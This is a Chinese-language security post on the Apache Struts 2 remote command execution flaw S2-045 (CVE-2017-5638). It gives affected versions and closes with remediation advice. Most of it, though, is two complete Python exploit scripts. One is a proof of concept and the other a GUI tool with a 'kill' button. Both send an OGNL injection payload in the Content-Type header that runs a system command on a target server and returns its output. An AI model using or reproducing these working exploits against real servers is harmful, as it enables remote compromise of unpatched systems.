Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵,漏洞评级为:高危。
漏洞详情:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
风险等级:高风险。
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10。
安全版本:Struts 2.3.32或2.5.10.1。
#!/usr/bin/env python #encoding:utf-8 import urllib2 import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers def poc(): register_openers() datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" request = urllib2.Request(str(sys.argv[1]),datagen,headers=header) response = urllib2.urlopen(request) print response.read() poc()
exp,如下:
#coding:utf-8 import urllib2 from Tkinter import * import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers class START(): def __init__(self,root): self.root=root self.show_W_Text = Text() self.show_url_ed = Label(root, text="str2") self.edit_url = Entry(root, text="输入地址") self.butt_whois = Button(root, text="kill",command=self.poc) self.show_url_ed.pack() self.edit_url.pack() self.butt_whois.pack() self.show_W_Text.pack() def poc(self): w_url = self.edit_url.get() text = self.show_W_Text register_openers() datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) header[ "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header[ "Content-Type"] = "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" request = urllib2.Request(w_url, datagen, headers=header) response = urllib2.urlopen(request).read() text.insert(1.0, response) if __name__ == '__main__': root=Tk() root.title("str2 ") motion=START(root) mainloop()
漏洞修复建议(或缓解措施):
检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 struts2.5 到 Struts2.5.10之间则存在漏洞,
更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。
临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
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